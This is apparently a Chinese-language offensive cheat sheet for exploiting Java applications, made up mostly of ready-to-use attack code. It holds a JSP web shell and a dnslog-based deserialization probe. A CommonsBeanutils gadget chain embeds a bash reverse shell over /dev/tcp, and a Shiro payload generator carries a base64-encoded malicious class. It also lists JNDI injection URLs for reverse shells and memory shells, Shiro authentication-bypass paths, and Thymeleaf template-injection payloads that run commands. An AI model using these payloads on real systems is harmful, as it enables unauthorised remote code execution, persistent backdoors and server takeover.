Java绕过

常用

JSP一句话

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<%
String command = request.getParameter("cmd");
if(command != null)
{
java.io.InputStream in=Runtime.getRuntime().exec(command).getInputStream();
int a = -1;
byte[] b = new byte[2048];
out.print("<pre>");
while((a=in.read(b))!=-1)
{
out.println(new String(b));
}
out.print("</pre>");
} else {
out.print("format: xxx.jsp?cmd=Command");
}
%>

Java反序列化

URLDNS探测

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
import javassist.ClassPool;
import javassist.CtClass;

import java.io.*;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.Base64;
import java.util.HashMap;
import java.util.LinkedList;
import java.util.List;

public class URLDNSList {
//将多个HashMap都放在了LinkedList中以同时探测多个类(依赖)是否存在
public static void main(String[] args) throws Exception {
String dnslog = "6d1c27be.dns.bypass.eu.org";
List<Object> list = new LinkedList<Object>();

//CommonsCollections1/3/5/6/7链,需要<=3.2.1版本,无法通过类判断这个小版本
HashMap cc31 = getURLDNSgadget("http://cc31."+dnslog, "org.apache.commons.collections.functors.ChainedTransformer");
HashMap cc32x = getURLDNSgadget("http://cc32x."+dnslog, "org.apache.commons.collections.buffer.BoundedBuffer");
list.add(cc31);
list.add(cc32x);

//CommonsCollections2/4链,需要4-4.0版本
HashMap cc4x = getURLDNSgadget("http://cc4x."+dnslog, "org.apache.commons.collections4.functors.ChainedTransformer");
HashMap cc41 = getURLDNSgadget("http://cc41."+dnslog, "org.apache.commons.collections4.FluentIterable");
list.add(cc4x);
list.add(cc41);

//CommonsBeanutils2链,serialVersionUID不同,1.7x-1.8x为-3490850999041592962,1.9x为-2044202215314119608
HashMap cb18x = getURLDNSgadget("http://cb18x."+dnslog, "org.apache.commons.beanutils.BeanComparator");
HashMap cb19x = getURLDNSgadget("http://cb19x."+dnslog, "org.apache.commons.beanutils.BeanIntrospectionData");
list.add(cb18x);
list.add(cb19x);

//c3p0,serialVersionUID不同,0.9.2pre2-0.9.5pre8为7387108436934414104,0.9.5pre9-0.9.5.5为7387108436934414104
HashMap c3p092x = getURLDNSgadget("http://c3p092x."+dnslog, "com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase");
HashMap c3p095x = getURLDNSgadget("http://c3p095x."+dnslog, "com.mchange.v2.c3p0.test.AlwaysFailDataSource");
list.add(c3p092x);
list.add(c3p095x);

//AspectJWeaver,需要cc31
HashMap ajw = getURLDNSgadget("http://ajw."+dnslog, "org.aspectj.weaver.tools.cache.SimpleCache");
list.add(ajw);

ByteArrayOutputStream out = new ByteArrayOutputStream();
ObjectOutputStream os = new ObjectOutputStream(out);
os.writeObject(list);
System.out.println(Base64.getEncoder().encodeToString(out.toByteArray()));

ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("URLDNSList.ser"));
oos.writeObject(list);
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("URLDNSList.ser"));
//ois.readObject();
}

public static HashMap getURLDNSgadget(String urls, String clazzName) throws Exception{
HashMap hashMap = new HashMap();
URL url = new URL(urls);
Field f = Class.forName("java.net.URL").getDeclaredField("hashCode");
f.setAccessible(true);
f.set(url, 0);
hashMap.put(url, makeClass(clazzName));
f.set(url, -1);
return hashMap;
}

public static Class makeClass(String clazzName) throws Exception{
ClassPool classPool = ClassPool.getDefault();
CtClass ctClass = classPool.makeClass(clazzName);
Class clazz = ctClass.toClass();
ctClass.defrost();
return clazz;
}
}

利用链

CommonsBeanutils

  • CB1.8

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    75
    import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
    import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
    import com.sun.org.apache.xml.internal.security.c14n.helper.AttrCompare;
    import javassist.ClassPool;
    import javassist.CtClass;
    import javassist.CtConstructor;
    import org.apache.commons.beanutils.BeanComparator;
    import org.apache.commons.collections4.comparators.TransformingComparator;
    import org.apache.commons.collections4.functors.ConstantTransformer;

    import java.io.*;
    import java.lang.reflect.Field;
    import java.util.Base64;
    import java.util.PriorityQueue;

    public class CB {
    public static String string = "";
    public static void main(String[] args) throws Exception{
    TemplatesImpl tempalteslmpl = (TemplatesImpl) getTempalteslmpl();

    TransformingComparator transformingComparator = new TransformingComparator(new ConstantTransformer(1));
    BeanComparator beanComparator = new BeanComparator("outputProperties",new AttrCompare());

    PriorityQueue priorityQueue = new PriorityQueue(transformingComparator);
    priorityQueue.add(tempalteslmpl);
    priorityQueue.add(1);

    Class clazz = PriorityQueue.class;
    Field comparator = clazz.getDeclaredField("comparator");
    comparator.setAccessible(true);
    comparator.set(priorityQueue,beanComparator);

    serialize(priorityQueue);
    System.out.println(string);
    }
    public static Object getTempalteslmpl() throws Exception {
    TemplatesImpl templates = new TemplatesImpl();
    byte[] evilBytes = getEvilBytes();
    String className = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
    setFieldValue(className,templates,"_name","Hello");
    setFieldValue(className,templates,"_tfactory",new TransformerFactoryImpl());
    setFieldValue(className,templates,"_bytecodes",new byte[][]{evilBytes});
    return templates;
    }
    public static byte[] getEvilBytes() throws Exception{
    //byte[] bytes = ClassPool.getDefault().get("SpringInterceptorMemShell").toBytecode();
    ClassPool classPool = new ClassPool(true);
    CtClass helloAbstractTranslet = classPool.makeClass("HelloAbstractTranslet");
    CtClass ctClass = classPool.getCtClass("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
    helloAbstractTranslet.setSuperclass(ctClass);
    CtConstructor ctConstructor = new CtConstructor(new CtClass[]{},helloAbstractTranslet);
    ctConstructor.setBody("java.lang.Runtime.getRuntime().exec(new String[]{\"/bin/bash\", \"-c\", \"bash -i >& /dev/tcp/vps/port 0>&1\"});");
    helloAbstractTranslet.addConstructor(ctConstructor);
    byte[] bytes = helloAbstractTranslet.toBytecode();
    helloAbstractTranslet.detach();
    return bytes;
    }
    public static void setFieldValue(String className,Object object, String field_name, Object field_value) throws Exception {
    Class clazz = Class.forName(className);
    Field declaredField = clazz.getDeclaredField(field_name);
    declaredField.setAccessible(true);
    declaredField.set(object,field_value);
    }
    public static void serialize(Object object) throws Exception {
    ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
    ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
    objectOutputStream.writeObject(object);
    string = Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray());
    }
    public static void unserialize() throws Exception {
    ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(Base64.getDecoder().decode(string));
    ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
    objectInputStream.readObject();
    }
    }

Rome

从一道题看java反序列化和回显获取

工具

ysuserial: https://github.com/su18/ysoserial

java -jar ysuserial-0.9-su18-all.jar -g CommonsBeanutils1183NOCC -p "revshe ll" | base64

绕过

fastjson

参考:

https://github.com/safe6Sec/Fastjson

fastjson小于1.2.68全漏洞RCE利用exp

JNDI注入

JNDIExp

  1. 在VPS上启动工具,利用时讲ip替换为实际VPS的IP地址。

  2. ${jndi:ldap://127.0.0.1:1389/basic/${java:version}}

    使用 ${java:version} 获取到目标服务器上的java版本(仅仅适用于Log4j2漏洞利用,fastjson等其他漏洞可以跳过此步骤)

  3. JDK版本小于11.0.1, 8u191, 7u201, 6u211版本,可以直接使用basic模块

    1
    2
    3
    4
    5
    ldap://0.0.0.0:1389/basic/cmd  (无回显,需要进行url编码)
    ldap://0.0.0.0:1389/basic/base64/[base64_encoded_cmd]
    ldap://0.0.0.0:1389/basic/ReverseShell/[ip]/[port](反弹shell)
    ldap://0.0.0.0:1389/basic/ReverseShell2/[ip]/[port]
    ldap://0.0.0.0:1389/basic/memshell/[memshellType](内存马)

    JDK版本大于11.0.1, 8u191, 7u201, 6u211时,需要尝试使用利用链绕过,可以使用${jndi:ldap://127.0.0.1:1389/fuzzbyDNS/[domain]} 利用dnslog去判断哪些利用链可以进行利用(只需要发送一次请求)

    (反序列化链存在版本区别serialVersionUID会改变,通过dns请求可知目标可以使用el、groovy、BeanShell1反序列化、CC3.2.1反序列化、CB192等等利用模块)

  4. 选择其中一个利用链进行利用。

Shiro

  • 未授权访问

    • <1.5.2

      Shiro框架通过拦截器功能来对用户访问权限进行控制,如anon, authc等拦截器。anon为匿名拦截器,不需要登录即可访问;authc为登录拦截器,需要登录才可以访问。

      /;/admin/xxx/...;/admin

      /;/actuator/heapdump 下载dump,使用visualvm分析,得到shiro的加密密钥

  • 反序列化

    • 通用

      • 打cb1

        1
        2
        3
        4
        5
        6
        7
        8
        9
        10
        11
        12
        13
        14
        15
        16
        17
        18
        19
        20
        21
        22
        23
        24
        25
        26
        27
        28
        29
        30
        31
        32
        33
        34
        35
        36
        37
        38
        39
        40
        41
        42
        43
        44
        45
        46
        47
        48
        49
        import java.io.ByteArrayOutputStream;
        import java.io.ObjectOutputStream;
        import java.lang.reflect.Field;
        import java.util.Base64;
        import java.util.PriorityQueue;

        import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
        import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
        import org.apache.commons.beanutils.BeanComparator;

        public class CommonsBeanutilsShiro {
        public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
        }

        public static void main(String[] args) throws Exception {
        // TemplatesImpl obj = new TemplatesImpl();
        // setFieldValue(obj, "_bytecodes", new byte[][]{
        // ClassPool.getDefault().get(evil.EvilTemplatesImpl.class.getName()).toBytecode()
        // });
        // setFieldValue(obj, "_name", "HelloTemplatesImpl");
        // setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
        byte[] evilcode = Base64.getDecoder().decode("yv66vgAAADQAuQoALwBfCgBgAGEKAGAAYggAYwoAZABlCABmBwBnCgAHAGgHAGkKAGoAawgAbAgAbQgAbggAbwgATQoABwBwCABxCABOBwByCgBqAHMIAFAIAHQKAHUAdgoAEwB3CAB4CgATAHkIAHoIAHsKABMAfAgAfQgAfggAfwgAgAoACQCBCACCBwCDCgCEAIUKAIQAhgoAhwCICgAkAIkIAIoKACQAiwoAJACMCACNCACOBwCPBwCQAQAJdHJhbnNmb3JtAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBABFMcm9tZS9TcHJpbmdFdmlsOwEACGRvY3VtZW50AQAtTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007AQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAApFeGNlcHRpb25zBwCRAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGl0ZXJhdG9yAQA1TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjsBAAdoYW5kbGVyAQBBTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAAY8aW5pdD4BAAMoKVYBAAFjAQARTGphdmEvbGFuZy9DbGFzczsBAAFtAQAaTGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZDsBAAFvAQASTGphdmEvbGFuZy9PYmplY3Q7AQACbTEBAARyZXNwAQADcmVxAQAJZ2V0V3JpdGVyAQAJZ2V0SGVhZGVyAQAGd3JpdGVyAQADY21kAQASTGphdmEvbGFuZy9TdHJpbmc7AQAIY29tbWFuZHMBABNbTGphdmEvbGFuZy9TdHJpbmc7AQALY2hhcnNldE5hbWUBAA1TdGFja01hcFRhYmxlBwCPBwBnBwCSBwBpBwByBwBTBwCTAQAKU291cmNlRmlsZQEAD1NwcmluZ0V2aWwuamF2YQwAQgBDBwCUDACVAJYMAJcAmAEAPG9yZy5zcHJpbmdmcmFtZXdvcmsud2ViLmNvbnRleHQucmVxdWVzdC5SZXF1ZXN0Q29udGV4dEhvbGRlcgcAmQwAmgCbAQAUZ2V0UmVxdWVzdEF0dHJpYnV0ZXMBAA9qYXZhL2xhbmcvQ2xhc3MMAJwAnQEAEGphdmEvbGFuZy9PYmplY3QHAJIMAJ4AnwEAQG9yZy5zcHJpbmdmcmFtZXdvcmsud2ViLmNvbnRleHQucmVxdWVzdC5TZXJ2bGV0UmVxdWVzdEF0dHJpYnV0ZXMBAAtnZXRSZXNwb25zZQEACmdldFJlcXVlc3QBAB1qYXZheC5zZXJ2bGV0LlNlcnZsZXRSZXNwb25zZQwAoACdAQAlamF2YXguc2VydmxldC5odHRwLkh0dHBTZXJ2bGV0UmVxdWVzdAEAEGphdmEvbGFuZy9TdHJpbmcMAKEAogEAB29zLm5hbWUHAKMMAKQApQwApgCnAQAGd2luZG93DACoAKkBAANHQksBAAVVVEYtOAwAqgCnAQADV0lOAQACL2MBAAcvYmluL3NoAQACLWMMAKsArAEAB3ByaW50bG4BABFqYXZhL3V0aWwvU2Nhbm5lcgcArQwArgCvDACwALEHALIMALMAtAwAQgC1AQACXEEMALYAtwwAuACnAQAFZmx1c2gBAAVjbG9zZQEAD3JvbWUvU3ByaW5nRXZpbAEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQBADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABhqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2QBABNqYXZhL2xhbmcvRXhjZXB0aW9uAQAQamF2YS9sYW5nL1RocmVhZAEADWN1cnJlbnRUaHJlYWQBABQoKUxqYXZhL2xhbmcvVGhyZWFkOwEAFWdldENvbnRleHRDbGFzc0xvYWRlcgEAGSgpTGphdmEvbGFuZy9DbGFzc0xvYWRlcjsBABVqYXZhL2xhbmcvQ2xhc3NMb2FkZXIBAAlsb2FkQ2xhc3MBACUoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvQ2xhc3M7AQAJZ2V0TWV0aG9kAQBAKExqYXZhL2xhbmcvU3RyaW5nO1tMamF2YS9sYW5nL0NsYXNzOylMamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kOwEABmludm9rZQEAOShMamF2YS9sYW5nL09iamVjdDtbTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwEAEWdldERlY2xhcmVkTWV0aG9kAQANc2V0QWNjZXNzaWJsZQEABChaKVYBABBqYXZhL2xhbmcvU3lzdGVtAQALZ2V0UHJvcGVydHkBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nOwEAC3RvTG93ZXJDYXNlAQAUKClMamF2YS9sYW5nL1N0cmluZzsBAAhjb250YWlucwEAGyhMamF2YS9sYW5nL0NoYXJTZXF1ZW5jZTspWgEAC3RvVXBwZXJDYXNlAQAIZ2V0Q2xhc3MBABMoKUxqYXZhL2xhbmcvQ2xhc3M7AQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAKChbTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsBABFqYXZhL2xhbmcvUHJvY2VzcwEADmdldElucHV0U3RyZWFtAQAXKClMamF2YS9pby9JbnB1dFN0cmVhbTsBACooTGphdmEvaW8vSW5wdXRTdHJlYW07TGphdmEvbGFuZy9TdHJpbmc7KVYBAAx1c2VEZWxpbWl0ZXIBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL3V0aWwvU2Nhbm5lcjsBAARuZXh0ACEALgAvAAAAAAADAAEAMAAxAAIAMgAAAD8AAAADAAAAAbEAAAACADMAAAAGAAEAAAAWADQAAAAgAAMAAAABADUANgAAAAAAAQA3ADgAAQAAAAEAOQA6AAIAOwAAAAQAAQA8AAEAMAA9AAIAMgAAAEkAAAAEAAAAAbEAAAACADMAAAAGAAEAAAAbADQAAAAqAAQAAAABADUANgAAAAAAAQA3ADgAAQAAAAEAPgA/AAIAAAABAEAAQQADADsAAAAEAAEAPAABAEIAQwACADIAAALDAAkADQAAAXsqtwABuAACtgADEgS2AAVMKxIGA70AB7YACE0sAQO9AAm2AApOuAACtgADEgu2AAVMKxIMA70AB7YACE0rEg0DvQAHtgAIOgQsLQO9AAm2AAo6BRkELQO9AAm2AAo6BrgAArYAAxIOtgAFEg8DvQAHtgAQOge4AAK2AAMSEbYABRISBL0AB1kDEhNTtgAQOggZCAS2ABQZBwS2ABQZBxkFA70ACbYACjoJGQgZBgS9AAlZAxIVU7YACsAAEzoKBr0AEzoLEha4ABe2ABgSGbYAGpkACBIbpwAFEhw6DBIWuAAXtgAdEh62ABqZABIZCwMSFVMZCwQSH1OnAA8ZCwMSIFMZCwQSIVMZCwUZClMZCbYAIhIjBL0AB1kDEhNTtgAQGQkEvQAJWQO7ACRZuAAlGQu2ACa2ACcZDLcAKBIptgAqtgArU7YAClcZCbYAIhIsA70AB7YAEBkJA70ACbYAClcZCbYAIhItA70AB7YAEBkJA70ACbYAClexAAAAAwAzAAAAbgAbAAAAHAAEAB0AEAAeABsAHwAlACAAMQAhADwAIgBIACMAUwAkAF8AJQB1ACYAkAAnAJYAKACcACkAqQAqAL4AKwDEACwA3QAtAO0ALgDzAC8A/AAxAQIAMgEIADQBDgA1AUoANgFiADcBegA4ADQAAACEAA0AAAF7ADUANgAAABABawBEAEUAAQAbAWAARgBHAAIAJQFWAEgASQADAEgBMwBKAEcABABTASgASwBJAAUAXwEcAEwASQAGAHUBBgBNAEcABwCQAOsATgBHAAgAqQDSAE8ASQAJAL4AvQBQAFEACgDEALcAUgBTAAsA3QCeAFQAUQAMAFUAAAA4AAT/ANkADAcAVgcAVwcAWAcAWQcAWAcAWQcAWQcAWAcAWAcAWQcAWgcAWwAAQQcAWvwAIAcAWgsAOwAAAAQAAQBcAAEAXQAAAAIAXg==");
        TemplatesImpl obj = new TemplatesImpl();
        setFieldValue(obj, "_bytecodes", new byte[][]{evilcode});
        setFieldValue(obj, "_name", "HelloTemplatesImpl");
        setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());

        final BeanComparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);
        final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
        // stub data for replacement later
        queue.add("1");
        queue.add("1");

        setFieldValue(comparator, "property", "outputProperties");
        setFieldValue(queue, "queue", new Object[]{obj, obj});

        // ==================
        // 生成序列化字符串
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(queue);
        oos.close();
        byte[] expcode = Base64.getEncoder().encode(barr.toByteArray());
        System.out.println(new String(expcode));
        }
        }

Springboot actuator

Springboot actuator配置不当导致API安全问题。

API扫描工具:APIKit

1
2
3
4
5
6
7
8
9
10
11
12
13
/actuator/autoconfig 应用的自动化配置报告
/actuator/beans 应用上下文创建的所有 Bean
/actuator/configprops 应用中配置的属性信息报告
/actuator/env 环境属性报告
/actuator/mappings SpringMVC 的控制器映射关系报告
/actuator/info 自定义的配置信息
/actuator/metrics 当前应用的各类重要度量指标
/actuator/health 应用的各类健康指标信息
/actuator/threaddump 用来暴露程序运行中的线程信息
/actuator/httptrace 显示HTTP跟踪信息(默认显示最后100个HTTP请求)
/actuator/scheduledtasks 计划任务

/actuator/jolokia JMX-HTTP桥接器(XXE-SSRF)

Thymeleaf

Thymeleaf模板注入

1
2
3
__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22id%22).getInputStream()).next()%7d__::.x
__${T(java.lang.Thread).sleep(10000)}__::...
__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22id%22).getInputStream()).next()%7d__::...

参考:

Java安全之Thymeleaf 模板注入分析